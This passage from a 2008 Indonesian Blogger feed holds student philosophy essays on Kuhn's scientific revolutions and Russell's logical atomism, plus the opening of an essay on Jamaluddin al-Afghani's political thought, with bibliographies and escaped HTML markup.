terluang secara teratur. Penemuan di awali dengan kesadaran akan anomali, yakni dengan pengakuan bahwa alam dengan suatu cara telah melanggar pengharapan yang di dorong oleh paradigma yang menguasai sains yang normal yang kemudian dengan eksplorasi yang di perluas pada wilayah anomali dan akan berakhir jika teori paradigma telah di sesuaikan. Pengasimilasian suatu fakta jenis baru menuntut pada penyesuaian tambahan teori yang juga erat sekali hubungannya antara faktual dengan teoritis dalam penemuan ilmiah.&lt;br /&gt;D. Krisis, munculnya teori Sains dan tanggapan&lt;br /&gt;Setelah menemukan argumentasi bahwa dalam sains itu fakta dan teori, penemuan dan penciptaan tidak berbeda menurut kategori serta secara permanen dapat diantisipasi adanya lingkup. Kesadaran akan anomali memainkan peran dalam munculnya jenis-jenis gejala yang baru, maka tidak akan mengejutkan bahwa kesadaran yang serupa, tetapi lebih mendalam. Merupakan prasyarat bagi semua perubahan teori yang dapat diterima.&lt;br /&gt;Sesudah mencapai status paradigma, teori ssains hanya di nyatakan tidak sahih jika ada calon alternatif untuk menggantikannya. Namun, tidak ada proses yang telah di singkapkan oleh study historis tentang perkembangan sains yang mirip dengan steriotipe pemalsual yang metodologis dengan perbandingan lansung denan alam. Tindakan mempertimbangkan yang mengakibatkan para ilmuwan menolak teori yang semula di terima, karena berdasarkan pada perbandingan teori dengan dunia. Menolak paradigma sekaligus merupakan putusan untuk menerima yang lain dan pertimbangan yang mengakibatkan putusan itu melibatkan perbandingan paradigma dengan alam ataupun satu sama yang lain. Dan alasan yang kedua, untuk meragukan bahwa para ilmuwan menolak paradigma karena dihadapkan pada anomali-anomali atau penggantinya. Alasan bagi keraguan semata-mata faktual, artinya alasan itu sendiri menggantikan teori epistemologi yang berlaku dan hal ini dapat menciptakan krisis atau memperkuat krisis yang benar-benar sudah ada.&lt;br /&gt;E. Sifat, perlunya revolusi dan dampak Sains&lt;br /&gt;Revolusi sains sebagai epesode perkembangan nonkomulatif yang di dalamnya paradigma yang lama di ganti seluruhnya (sebagian oleh paradigma baru yang bertentangan). Revolusi politik di bawa oleh kesadaran yang semakin tumbuh, yang sering terbatas pada suatu segmen dari masyarakat politik, bahwa lembaga-lembaga yang tidak lagi memadai untuk menghadapi masala-masalah yang di kemukakan oleh lingkungan yang sebagian di ciptakan oleh lembaga-lembaga itu. revolusi sains di bawa oleh kesadaran yang semakin tumbuh yang sering terbatas pada subdevisi yang sempit dari masyarakat sains, bahwa paradigma yang ada tidak lagi berfungsi secara memadai dalam eksplorasi suatu aspek dari alam. Perkembangan politik maupun sains, kesadaran akan adanya fungsi yang dapat menyebabkan krisis merupakan prasyarat bagi revolusi.&lt;br /&gt;Revolusi politik bertujuan mengubah lembaga-lembaga politik itu sendiri. oleh sebab itu, keberhasilannya memerlukan pelepasan sebagian dari perangkat lembaga untuk di ganti oleh yang lain, dan masyarakat tidak sepenuhnya di perintah oleh lembaga tersebut. Mula-mula hanya krisis yang mengurangi lembaga politik, seperti menurunnya peran paradigma. Hal ini bertujuan berdemonstrasikan bahwa study historis tentang perubahan paradigma menyingkap karakteristik yang mirip dalam evolusi sains. Seperti pemulihan diantara lembaga-lembaga politik yang berkompetisi, pemilihan diantara pemerintah paradigma yang bersaingan ternyata merupakan pemilihan diantara modus-modus kehidupan masyarakat yang bertentanan. Karena yang memiliki karakter itu, pemilihannya tidak tidak dapat di tentukan dengan prosedur evaluatif yan menjadi karakteristik yang normal, sebab tergantung pada paradigma tertentu dan paradigma itu sedang di permasalahkan sebagaimana mestinya. Masuk pada debat paradigma maka perannya perlu sekuler untuk membela paradigma itu, sekuleritas yang dilibatkan itu menyebabkan argumen-argumen salah bahkan tidak berpengaruh.&lt;br /&gt;F. Tak tampaknya revolusi dan pemecahannya&lt;br /&gt;Tentu saja para ilmuan bukan satu-satunya kelompok yang melihat masalah disekelilingnya berkembang terus kearah keadaan sekarang yang menguntungkan. Motivasi untuk menulis sejarah kebelakang itu terdapat dimana-mana dan kekal. Akan tetapi, para ilmuan lebih terpengaruh oleh godaan untuk menulis. Mengulang sejarah karena hasil riset sains tidak menunjukkan kebergantungan yang nyata pada konteks historis dari ingkuiri, kecuali pada krisis dan revolusi karena kedudukan kontenporen ilmuan tampaknya begitu kokoh. Penurunan nilai kenyataan sejarah secara mendalam, fungsional, berakal dalam ideologi sains dan profesi yang sama yang memberikan nilai tertinggi pada rincian kenyataan jenis yang lain. Jiwa yang tidak historis pada masyarakat sains ketika ia mengatakan, rugilah sains yang buruk melupakan pendiriannya, namun ia tidak sepenuhnya benar karena sains kegiatan profesional lainmasih membutuhkan pahlawan sendiri serta melestarikan nama-nama mereka.&lt;br /&gt;Hasilnya adalah kecenderungan yang terus-menerus membuat sejarah sains tampil lurus atau komulativ, bahkan mempengaruhi para ilmuan yang melihat kebelakang pada riset mereka sendiri.Sebenarnya masalah itu tampaknya tefikirkan oleh kebersamaan dan tata cara pemecahannya tampak tidak terfikirkan karya kreatifnya sendiri tidak terselesaikan. Hasilnya adalah reorientasi kearah bidang baru yang mengajari para ahli untuk menyajikan pertanyaan dan mengambil kesimpulan dari data-data lama.&lt;br /&gt;Merekalah yang mula-mula belajar melihat sains dan dunia dengan cara yang berbeda dan kemampuan mereka untuk membuat transisi itu dimudahkan oleh keadaan yang tidak bisa anggota lain andil dalam proesinya.Tampak berubah degan sungguh-sungguh difokuskan pada masalah-masalah yang merangsang krisis dan kecenderungannya orang yang berbeda serta kemampuan untuk membuat transisi dimudahkan oleh dua keadaan yang diluar keadaan yang diluar kebiasaan bagi kebanyakan anggota lain dari profesinya. Biasanya mereka relatif muda atau baru dlam bidang yang dilanda krisis praktek dan kurang mendalam pandangannya pada dunia dan kaidah-kaidah yang ditetapkan oleh paradigma lama. Pekerjaan riset adalah pemecah teka-teki bukan untuk menguji paradigma. Sains berbeda dengan teka-teki dalam pemecahannya, situasi pengujian tidak pernah terjadi semata-mata karena perbandingan suatu paradigma dan alam akan tetapi terjadi karena adanya konpetesi diantara dua paradigma untuk memperebutkan dalam masyarakat sains.&lt;br /&gt;Perubahan-perubahan paradigma menyebabkan para ilmuan berbeda dalam memandang dua riset. Salah satu jalan mereka kejalan itu melalui apayang mereka lihat.Prototipe-prototipe transformasi dunia ilmuan yang elementer seperti inilah yang menyebabkan demonstrasi perubahan dalam gestan visual yang dikenal sugestik. Setelah transformasi, meskipun biasanya bertahap dan hampir semuanya tidak dapat dibalikkan, nampak hal yang umum menyertai latihan sains. Eksprimen-eksprimen gestalt menggambarkan sifat transformasi persepsi tidak harus menerangkan peran paradigma atau eksprimen yang sebeumnya diasimilasikan dalam proses persepsi. Akan tetapi, hal itu terdapat kumpulan pustaka dan psikologi yang kaya.Subyek eksprimen yang mengen akan kaca mata yang dilengkapi lensa pembalik, mula-mula melihat dunia terbalik keatas atau bahkan pada permulaanya berfungsi seperti fungsi yang lebih dilatihkan tampa kaca mata yang akibatnya disorientasi yang ekstrim krisis personal yang gawat.&lt;br /&gt;G. Kemajuan Revolusi Dan Pasca Wacana –1969&lt;br /&gt;Selama periode paradigma, banyak aliran yang bersaingan, bukti kemajuan, kecuali didalam aliran-aliran sangat sukar ditemukan.Dalam periode revolusi ketika prinsip fundamental suatu bidang dipermasalahkan, keraguan tentang kemungkinan sinambungnya kemajuan diantara paradigma yang menentang ada yang diterima. Implikasinya, kemajuan itu hanya tampak nyata serta pasti dalam periode sains yang normal. Namun, selama periode itu masyarakat sains tidak dapat memandang buah karyanya dengan cara yang lain. Jika hanya kewenangan, dan khususnya jika kewenangan nonprofesional yang menjadi wasit dalam perdebatan paradigma maka hasil perdebatan itu bisa tetap revolusi tetapi bukan revolusi sains. Dasar eksistensi sains bergantung pada pemberian kekuasaan untuk memilih paradigma didalam anggota-anggota masyarakat jenis khususnya.&lt;br /&gt;Setdak-tidaknya secara filosofis, arti kedua dari paradigma merupakan sumber utama berbagai kontaversi dan kesalapahaman.yang pertama berargumentasi bahwa, istilah seperti subyektif dan naluriah tidak tepat di terapkan pada komponen-komponen pengetahuan. Walaupun pengetahuan seperti itu, tanpa perubahan yang esensial, bukan subyek bagi parafrase dari segi kaidah dan kreteria, walaupun ia sistematis. Dalam kesimpulan yang lain mendesak agar orang-orang yang mempertahankan pandangan yang tidak dapat dibandingkan dianggap sebagai anggota-anggota masyarakat bahasa yang berbeda.&lt;br /&gt;Paradigma ialah apa yang dimiliki bersama oleh anggota-anggota seluruh masyarakat sains dan sebaliknya, masyarakat sains terdiri atas orang-orang yang memiliki suatu paradigma bersama. Masyarakat sains dapat dan seharusnya diisolasi tanpa terlebih dahulu minta bantuan kepada paradigma; kemudian dapat ditemukan dengan meneliti perilaku anggota-anggota masyarakat yang bersangkutan. Anggota senua masyarakat sains termasuk aliran-aliran dari periode praparadigma, memiliki jenis-jenis unsur yan secara kolektif yang berlebel “suatu paradigma”. Anggota-anggota masyarakat yang berbeda kadang-kadang memilih alat yang berbeda dan mengkritik pilihan orang lain. Dan revolusi adalah jenis khusus perubahan yang melibatkan jenis tertentu rekontruksi kometment-kometment kelompok (Paradigma dan struktur masyarakat). Dan masih banyak karakteristik-karakteristik secara esensial seperti paradigma sebagai konstelasi kometmen kelompok, paradigma dan contoh bersama, pengetahuan diam-diam dan naluri, eksemplar, kemustahilan dengan revolusi, revolusi dan relativisme dan sifat sains.&lt;/span&gt;&lt;/p&gt;  &lt;p style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;font-size: 10pt;&quot;&gt;BAB III&lt;br /&gt;Penutup&lt;br /&gt;Kesimpulan&lt;br /&gt;Kesimpulannya dari semua yang kami bahas adalah peran bagi sejarah dalam konteks paradigma sains dan revolusinya. Bapak yang mampu mendobrak segala paradigma sains adalah Thomas S. Kuhn. Dan dalam perjuangannya untuk mengaplikasikan segala bentuk kemajuan tidak lepas dari tantangan yang sangatlat urgen dan polemik.&lt;br /&gt;A. Saran&lt;br /&gt;Dan saran kami kepada semua lapisan, kami adalah manusia yang di beri akal pikiran dan nurani (hayawanun Natiq) yang semestinya belajar dan tak pernah mengenal lelah dan putus asa agar menjadi makhluk pilihan Tuhan yang Maha Agung. Kita sebagai makhluk sosial harus mampu berusaha dan berdoa untuk mau dan ada refleksifitasnurani untuk mengubah nasib yang lebih baik dengan cara trasformasi segala aspek kehidupan tanpa harus menyepelekan Tuhan sebagai Center dari segala permasalahan dan penyembahan.&lt;br /&gt;Jika dalam tulisan kami terdapat tulisan dan tatabahas yang salah atau kurang bersahabat mohon dimaklumi karena kami hanyalah manusia yang tidak akan pernah lepas sampai kapanpun dari yang namanya salah dan lupa (Dosa). Selanjutnya kami banyak ucapkan terima kasih kepada segenap yang telah ikut serta membantu meminimalisir kesulitan kami khususnya dalam pembuatan makalah ini.&lt;br /&gt;Wallahul muaffiq Ila aqwamitthoriq ……….!!!!&lt;/span&gt;&lt;/p&gt;  &lt;p style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;font-size: 10pt;&quot;&gt;DAFTAR PUTAKA&lt;/span&gt;&lt;/p&gt;  &lt;span style=&quot;font-size: 10pt; font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;_____ Henry D. Aiken, Abab Ideologi.Bentang, Jakarta 2002.&lt;br /&gt;_____ AS. Hikam, Demokrasi dan Civil Society,Pustaka Pelajar 2001&lt;br /&gt;_____ Tiga Narasi Agung, Bentang 2003&lt;br /&gt;_____ Bertrand Russell, Sejarah Filsafat Barat. Pustaka pelajar, 2002&lt;br /&gt;_____ Peterl. Berger, Langit Suci (Agama sebagai kreatifitas Sosial). LP3S Jakarta 1991&lt;br /&gt;_____ Prof. DR. K. Berten S. Sejarah Filsafat Yunani; dari Thales ke Aristoteles. Kanisius 2001&lt;br /&gt;_____ Thomas S. Kuhn The structure of Scientific Revolution (Peran Paradigma dalam Revolusi Sains). Rosda, Bandung 2000&lt;/span&gt;</description><link>http://slendangwetan29.blogspot.com/2008/02/revolusi-ilmu-thomas-khun.html</link><author>noreply@blogger.com (SlendangWetan)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-2958933673326428512.post-8150249141641975213</guid><pubDate>Sun, 17 Feb 2008 20:42:00 +0000</pubDate><atom:updated>2008-02-17T12:46:50.448-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Makalah Filsafat</category><title>Atomisme logis Bertrand Russel</title><description>&lt;p class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 12pt; text-align: justify;&quot;&gt;Segala puji bagi Allah, yang masih memberikan rahmat dan hidayah-Nya sehingga penulis dapat menyelesaikan tugas makalah filsafat kontemporer yang berjudul Konsep Atomisme Bertrand Russel, yang merupakan suatu makalah yang didalamnya dijelaskan konsep-konsep Bertrand Russel untuk melawan idealisme kaum Hegelian, yakni dengan analisa logiknya dan disertai sintesa logik, yang termuat dalam konsep Atomisme Logik.&lt;br /&gt;Sholawat serta salam semoga tetap tercurahkan pada Nabi Muhammad SAW, yang telah memberikan petunjuk bagi kaumnya. Sehingga bisa terlepas dari zaman kegelapan menuju pencerahan.&lt;br /&gt;Kepada Drs. Sunantri tak lupa penulis ucapkan banyak terimakasih atas bimbingan dan motivasinya. Akhirnya, semoga makalah ini bermanfaat bagi semua pembaca pada umumnya dan penulis khususnya.&lt;br /&gt;&lt;br /&gt;&lt;st1:city st=&quot;on&quot;&gt;&lt;st1:place st=&quot;on&quot;&gt;Surabaya&lt;/st1:place&gt;&lt;/st1:City&gt;, 9 Juni 2007&lt;br /&gt;&lt;br /&gt;SlendangWetan R.S&lt;br /&gt;&lt;br /&gt;BAB I&lt;br /&gt;PENDAHULUAN&lt;br /&gt;&lt;br /&gt;Atomisme Logik adalah suatu faham atau ajaran yang berpandangan bahwa bahasa itu dapat dipecah menjadi proposisi-proposisi atomik atau proposisi- proposisi elementer, melalui teknik analisa logik atau analisa bahasa. Setiap proposisi atomik atau proposisi elementer itu tadi mengacu pada atau mengungkapkan keperiadaan suatu fakta atomik yaitu bagian terkecil dari realitas. Dengan pandangan yang demikian itu, kaum Atomisme Logik bermaksud menunjukkan adanya hubungan yang mutlak antara bahasa dengan realitas.&lt;br /&gt;Pada umumnya para peminat filsafat analitik mengenal konsep Atomisme Logik ini melalui dua kepustakaan. Sumber kepustakaan pertama adalah hasil karya Bertrand Russel yang bertujuan Logic and Knowledge. Karya tersebut merupakan kumpulan artikel yang pernah ditulis Russel dalam majalah The Monist pada 1918 dan 1919. sumber kepustakaan kedua adalah Tractatatus Logico-Philosophicus yang ditulis Ludwig Wittgenstein pada saat berkecamuknya Perang Dunia Pertama, yaitu antara 1914 sampai 1918.namun konsep Atomisme Logik dari Ludwig Wittgenstein itu baru dikenal pada 1921 dalam edisi bahasa jerman, Logisch Philosophische Abhandlung. Setahun kemudian barulah dipublikasikan dalam bahasa Inggris, dengan judul Tractatus Logico-Philosophicus.&lt;br /&gt;&lt;br /&gt;BAB II&lt;br /&gt;PEMBAHASAN&lt;br /&gt;KONSEP ATOMISME LOGIK BERTRAND RUSSEL (1872-1970)&lt;br /&gt;&lt;br /&gt;Karya Russel sangat berpengaruh dalam perkembangan filsafat pada abad dua puluh.Sumbangan paling pentingnya adalah logika matematika dan filsafat logika. Dengan Alfred North Whitehead ia menulis Principia Mathematika, yang di dalamnya dikemukakan sistem logika yang menghasilkan matematika, dengan demikian mereduksi matematika pada logika. Ia mengembangkan dua teori, Teori Bentuk dan Teori Diskripsi, dan memecahkan masalah-masalah yang berkaitan dengan kebenaran, makna dan kepercayaan. Kuliah pertamanya mengenai Atomisme Logik dimulai dengan deklarasi bahwa “dunia memuat fakta-fakta, yang berwujud seperti apa yang kita pikirkan mengenai mereka.” Meskipun kemudian ia memodifikasi doktrinnya tentang Atomisme Logik, teori itu tetap menjadi dasar konsepsi mengenai realitas sepanjang sisa perkembangan filosofisnya. Dalam matematika disyaratkan bahwa setiap unit harus dikenali dan diketahui sebelum hubungannya dengan unit lain dipahami. Karena itu Russel mengemukakan pandangan atomis dan realis yang mengakui pluralitas segala sesuatu yang tidak bergantung pada pikiran dan secara internal tidak berhubungan seperti dalam sistem Hegelian.&lt;br /&gt;Pada mulanya Russel mengikuti garis pemikiran &lt;st1:city st=&quot;on&quot;&gt;&lt;st1:place st=&quot;on&quot;&gt;Moore&lt;/st1:place&gt;&lt;/st1:City&gt; sebagai upaya untuk menentang pengaruh kaum Hegelian di Inggris dengan bertitik tolak pada akal sehat (common sense). Namun dalam perkembangan pemikiran selanjutnya, Russel mengambil jalan yang berbeda dengan jalan yang ditempuh &lt;st1:city st=&quot;on&quot;&gt;&lt;st1:place st=&quot;on&quot;&gt;Moore&lt;/st1:place&gt;&lt;/st1:City&gt;. Bagi Russel penggunaan bahasa biasa bagi maksud filsafat sebagaimana yang diinginkan &lt;st1:city st=&quot;on&quot;&gt;&lt;st1:place st=&quot;on&quot;&gt;Moore&lt;/st1:place&gt;&lt;/st1:City&gt;, tidaklah tepat. Sebab Russel tidak sekedar bermaksud mengarahkan teknik analisa yang diajukan oleh Moore itu untuk menentang ungkapan kosong dari kaum Hegelian, akan tetapi Russel dengan mencoba untuk membentuk filsafat yang bercorak ilmiah dengan cara “menerapkan metode ilmiah pada filsafat” oleh karena itu ia menegaskan:&lt;br /&gt;“Dalam percobaan yang dilakukan secara serius, tidaklah selayaknya kita tempuh dengan menggunakan bahasa biasa, sebab susunan bahasa biasa itu selain buruk, juga bermakna ganda arti. Oleh karena itu saya bermaksud meyakinkan bahwa sikap bersikeras atau kepala batu untuk tetap menggunakan bahasa biasa dalam mengungkapkan pemikiran kita adalah penghalang besar bagi kemajuan filsafat.”&lt;br /&gt;Oleh sebab itu tidak heran jika Russel menentukan titik tolak pemikirannya berdasarkan bahasa logika. Sebab ia berkeyakinan bahwa teknik analisa yang didasarkan pada bahasa logika itu dapat menjelaskan struktur bahasa dan struktur realitas.&lt;br /&gt;Analisa logik ini mengandung pengertian, suatu upaya untuk mengajukan alasan a priori yang tepat bagi pernyataan, sedangkan sintesa logik berarti menentukan makna pernyataan atas dasar empirik. Dengan cara yang demikian, Russel menerapkan teknik analisa bahasa untuk memecahkan masalah filsafat. Namun Russel lebih mendahulukan analisa logik dari pada sintesa logik, karena teori yang melulu bersifat empirik (didasarkan atas fakta) tidak dapat menjangkau hal-hal yang bersifat universal. Ia memperkenalkan istilah data indera untuk hal-hal seperti warna, bau, kekerasan, kekasaran dan seterusnya dan mengundang kesadaran kita dengan sense datum a sensation (sensasi akan data indera). Ia membedakan antara apa yang disebutnya dengan pengetahuan dan pengenalan dan pengetahuan dan deskripsi. Ia berargumen bahwa kita tidak secara langsung berkenalan dengan obyek-obyek fisik tetapi menyimpulkan obyek-obyek seperti meja, pohon, anjing, rumah dan orang-orang dari data indera. Kesulitannya di sini ialah bagaimana inferensi dibuat dari data indera untuk sebuah entitas yang memenuhi penjelasan common sense tentang obyek fisik. Bagi Russel kebenaran bersifat logik dan matematik yang diungkapkan dalam analisa logik “meyakinkan kita untuk mengakui keperiadaan sifat-sifat ‘universal’yang tak terubahkan, padahal banyak teori yang bersifat empiric murni tidak dapat mempertanggungjawabkan hal seperti itu.”&lt;br /&gt;Oleh karena itu Russel menganjurkan kita untuk mencari teori ilmu pengetahuan yang lain dari pada empirik murni. Pandangan yang demikian inilah agaknya membuat Russel lebih semangat untuk membentuk bahasa yang ideal bagi filsafat dengan didasarkan pada bentuk logika atau disebut dengan bahasa logika.&lt;br /&gt;Hal ini tersimpul dalam ucapannya yang berbunyi: “Yang menyebabkan saya menamakan doktrin Atomisme Logik ialah karena atom-atom yang ingin saya peroleh sebagai hasil dari analisa terakhir bukan merupakan atom fisik, melainkan atom logik”.&lt;br /&gt;&lt;br /&gt;1. Corak Logik (Logical Types)&lt;br /&gt;Dengan bertitik pada bahasa logika, Russel bermaksud menentukan corak logik yang terkandung dalam suatu ungkapan. Russel mensinyalir adanya perbedaan corak logic melalui perbandingan antara dua kalimat yang struktur bahasanya sama, namun memiliki struktur logik yang berbeda. Penjelasan Russel mengenai suatu pengertian atau suatu istilah yang memiliki corak logik yang sama diungkapkannya melalui contoh berikut: A dan B hanya dapat dikatakan memikiki corak logic yang sama, jika unsur A mengandung kesesuaian dengan unsure B, sehingga akibat yang berlaku atau lawan bagi B dapat digantikan pada A. kita ambil suatu taswir, Socrates dan Aristoteles memiliki corak yang sama, sebab “Socrates adalah seorang filosof” dan “Aristoteles seorang filosof”, keduanya mengandung fakta yang sama (sama-sama filsuf).&lt;br /&gt;Dua istilah yang dianggap memiliki corak logik yang sama bukan lantaran istilah tersebut dipandang menurut berbagai penafsiran yang mungkin dikenal bagi istilah itu. Tetapi yang lebih ditonjolkan disini adalah aspek logik yang didukung oleh fakta tertentu, sehingga kita dapat menarik kesimpulan yang logik pula bagi istilah yang diperbandingkan.&lt;br /&gt;&lt;br /&gt;2. Prinsip Isomorfi (Kesepadanan)&lt;br /&gt;Menurut pandangan Russel, seluruh pengetahuan hanya dapat difahami apabila diungkapkan dalam bentuk bahasa logika. Keyakinan itu diwujudkannya dalam karya yang disusunnya bersama A.N. Whitehead, yaitu Principia Mathematica. Dalam karya tersebut, kedua filosof ini memperlihatkan bahwa “konsep-konsep matematika dapat didefinisikan dengan menggunakan istilah logika saja, dan dalil matematik dapat dibuktikan dengan hanya menggunakan definisi dan prinsip logika”. Russel berkeyakinan, dengan memadukan prinsip matematik kedalam prinsip logika, ia mampu memecahkan persoalan filsafat. Kecenderungannya untuk menerapkan metode ilmiah dengan bertitik tolak pada prinsip logika pada bidang filsafat inilah yang merupakan inti dari konsep Atomisme Logik. Sebab upaya untuk mengungkapkan pengetahuan yang benar kedalam bentuk pernyataan yang benar atas dasar prinsip logika telah membawa Russel memasuki wilayah analisa bahasa.&lt;br /&gt;Menurut Russel analisa bahasa yang benar itu dapat menghasilkan pengetahuan yang benar pula tentang dunia, karena unsur paling kecil dari bahasa (proposisi atomik) merupakan gambaran unsur paling kecil dari dunia fakta (fakta atomik) atau ada isomorfi (kesepadanan) antara unsur bahasa dan kenyataan.&lt;br /&gt;Sehubungan dengan prinsip isomorfi adalah, kecenderungan pandangan Russel kearah metafisika. Sebab “mengatakan bahwa dunia dapat diasalkan kepada fakta atomik, jelas sekali merupakan suatu pendapat metafisik.” Inilah sesungguhnya tujuan utama yang terkandung dalam prinsip isomorfi itu. Metafisika yang terdapat dalam teori Russel ini merupakan suatu “Pluralisme radikal”, sebab realitas atau dunia fakta itu dipecah menjadi fakta atomik. Corak pandangan metafisik yang didasarkan atas analisa bahasa ini merupakan cirri khas yang menandai kaum Atomisme Logik, dan kelak akan diperkuat oleh Wittgenstein.&lt;br /&gt;&lt;br /&gt;3. Proposisi Atomik dan Proposisi Majemuk&lt;br /&gt;Pembahasan Russel mengenai Proposisi Atomik dan Proposisi majemuk berkaitan erat dengan upayanya untuk menjelaskan kesepadanan antara struktur bahasa dengan struktur realitas. Sebab bahasa yang dianggap sebagai keseluruhan dari proposisi atomik tidak hanya mengacu pada fakta atomik yang merupakan unsur yang membentuk realitas, tetapi bahasa itu juga merupakan “lahan” yang akan dikerjakan melalui teknik analisa logik. Bahasa, khususnya bahasa filsafat dapat mencerminkan realitas sejauh dapat dilakukan analisa logik yang diikuti dengan sintesa logik, sehingga diperoleh proposisi yang paling sederhana yang mengacu pada fakta yang paling sederhana pula, fakta atomik yaitu proposisi atomik. Setiap proposisi itu pada hakikatnya mengacu pada dua hal yaitu “data inderawi (particularia) yang merupakan hasil persepsi konkrit individual, dan sifat atau hubungan (universalia) dari data inderawi itu tadi.” Ia membedakan dua jenis proposisi, atomik dan majemuk, kebenaran atau kekeliruan proposisi majemuk ditentukan oleh kebenaran atau kekeliruan proposisi atomik yang kedalamnya proposisi tersebut dapat dianalisa, sementara kebenaran proposisi atomik ditentukan dengan merujuk pada fakta yang digambarkannya.&lt;br /&gt;Menurut Russel, suatu proposisi (dapat bernilai benar atau salah) yang menjelaskan suatu fakta atomic itu dinamakan Proposisi atomik. Proposisi atomik ini merupakan bentuk proposisi yang paling sederhana, karena sama sekali tidak memuat unsur-unsur majemuk. Misalnya: x adalah yang (ini adalah putih) atau xRy (ini berdiri disamping itu). Setiap proposisi atomik itu mempunyai arti atau makna sendiri-sendiri yang terpisah satu sama lain. Dengan memberikan kata penghubung seperti “dan” atau “atau”, maka kita dapat membentuk suatu proposisi majemuk. Russel mengajukan contoh untuk menjelaskan proposisis atomik dan proposisi majemuk itu seperti berikut:&lt;br /&gt;“Socrates adalah seorang warga Athena yang bijaksana. Ini merupakan proposisi majemuk yang terdiri dari dua fakta atomik, yaitu:&lt;br /&gt;1. Socrates adalah seorang warga Athena, dan&lt;br /&gt;2. Socrates adalah seorang yang bijaksana”.&lt;br /&gt;Kedua proposisi atomik itu membentuk proposisi majemuk setelah dihubungkan dengan kata “yang”.&lt;br /&gt;Menurut Russel , kebenaran atau ketidakbenaran suatu proposisi molekuler atau proposisi majemuk ini tergantung pada kebenaran atau ketidakbenaran proposisi atomik yang terdapat didalamnya. Atau dengan kata lain proposisi majemuk itu merupakan, “fungsi kebenaran” dari proposisi-proposisi atomik. Sebab tidak ada fakta majemuk yang ada halnya dengan fakta atomik.&lt;br /&gt;&lt;br /&gt;BAB III&lt;br /&gt;PENUTUP&lt;br /&gt;&lt;br /&gt;Kesimpulan&lt;br /&gt;Menurut Russel kerancuan bahasa filsafat itu timbul, lantaran kebanyakan filsuf menggunakan bahasa biasa untuk menyampaikan maksud-maksud filsafat. Padahal, menurut Russel, susunan bahasa biasa itu selain buruk juga didalamnya terdapat ambiguity. Oleh karena itu Russel menganjurkan penggunaan bahasa ideal bagi filsafat. Bahasa ideal yang dimaksudkan adalah, bahasa yang disusun atas dasar sistem logika. Bahasa filsafat yang bercorak demikian itu akan mempunyai makna yang terbatas, sekaligus terhindar dari kekaburan makna.&lt;br /&gt;Penguasaan logika menjadi syarat penting sebelum kita melontarkan pernyataan-pernyataan falsafati.menurut Russel, tugas filsafat pada hakikatnya adalah analisa logik yang diikuti oleh sintesa logik. Baik dalam analisa menguraikan atau memilah-milahkan pernyataan maupun dalam sintesa memadukan unsur-unsur realitas senantiasa didasarkan atas logika, karena bahasa logika itu selalu mementingkan struktur logis yang dikandung dalam suatu ungkapan, tidak hanya pada struktur bahasa atau tatabahasanya semata. Suatu pernyataan yang diletakkan pada kerangka bahasa logika dapat diperiksa benar atau salahnya berdasarkan komponen-komponen yang yang membentuk pernyataan tersebut, ini dinamakan fungsi kebenaran (truth function). Bilamana kebenaran atau kesalahan dari suatu pernyataan yang komplek (pernyataan yang terdiri atas dua atau lebih pernyataan yang sederhana) dapat ditentukan sendiri berdasarkan kebenaran dan kesalahan dari unsur-unsur pernyataan tersebut, maka inilah yang dinamakan suatu fungsi kebenaran dari unsur-unsur pernyataan, untuk membimbing kita kearah cara berfilsafat yang tepat.&lt;br /&gt;&lt;br /&gt;DAFTAR PUSTAKA&lt;br /&gt;&lt;br /&gt;Bertens, K. Filsafat Barat Dalam Abad XX, Jakarta: Gramedia, 1981&lt;br /&gt;&lt;br /&gt;Collinson, Diane, Lima Puluh Filosof Dunia Yang Menggerakkan, Jakarta: PT. Raja Grafindo Persada, 2001&lt;br /&gt;&lt;br /&gt;Hamersma, Harry, Tokoh-tokoh Filsafat Barat Modern, Jakarta: Gramedia, 1983&lt;br /&gt;&lt;br /&gt;Mustansyir, Rizal, Filsafat Analitik, Jakarta: PT. Raja Grafindo Persada, 1995&lt;br /&gt;&lt;br /&gt;Schilpp, P, The Philosophy of Bertrand Russel, Cambridge: Cambridge University Press, 1944&lt;br /&gt;Wittgenstein, Ludwig, Tractatus Logico-Philosophicus, London: Routledge &amp;amp; Kegan Paul Ltd, 1963 &lt;/p&gt;</description><link>http://slendangwetan29.blogspot.com/2008/02/atomisme-logis-bertrand-russel.html</link><author>noreply@blogger.com (SlendangWetan)</author><thr:total>4</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-2958933673326428512.post-8963514764000683594</guid><pubDate>Sun, 17 Feb 2008 20:02:00 +0000</pubDate><atom:updated>2008-02-17T12:05:06.938-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Makalah Filsafat Islam Kontemporer</category><title>Pemikiran Politik Jamaluddin Al-Afghani</title><description>&lt;p style=&quot;text-align: justify;&quot; class=&quot;MsoNormal&quot;&gt;A. Riwayat Hidup Jamaluddin al-Afghani&lt;br /&gt;Nama sebenarnya ialah Jamaluddin Bin Safdar tetapi beliau lebih dikenali dengan nama Jamaluddin Al Afghani. Nasabnya sampai kepada Ali Al-Tirmidzi, seorang ahli hadist yang terkenal, lalu terus sampai nasabnya kepada Saiyidina Hasan Bin Ali Bin Abi Talib . Keluarganya berkuasa dan memerintah sebahagian tanah &lt;st1:country-region st=&quot;on&quot;&gt;&lt;st1:place st=&quot;on&quot;&gt;Afghanistan&lt;/st1:place&gt;&lt;/st1:country-region&gt; hingga akhirnya kekuasaan mereka dirampas oleh Raja Muhammad Khan. Bapak dan keluarganya pun dipindahkan ke &lt;st1:city st=&quot;on&quot;&gt;kota&lt;/st1:City&gt; &lt;st1:city st=&quot;on&quot;&gt;&lt;st1:place st=&quot;on&quot;&gt;Kabul&lt;/st1:place&gt;&lt;/st1:City&gt;.&lt;br /&gt;&lt;br /&gt;Jamaluddin al-Afghani dilahirkan disebuah kampung bernama Asad Abad dalam jajahan negeri &lt;st1:country-region st=&quot;on&quot;&gt;&lt;st1:place st=&quot;on&quot;&gt;Iran&lt;/st1:place&gt;&lt;/st1:country-region&gt; pada tahun 1839 Masehi. Semasa kecil Jamaluddin telah mendapat didikan agama yang mantap. Beliau berbakat dan cerdas, pintar dan berwawasan tinggi. Mulanya beliau belajar ilmu bahasa Arab seperti nahwu, sharaf dan sastra lalu mengkaji pula ilmu-ilmu syariat seperti 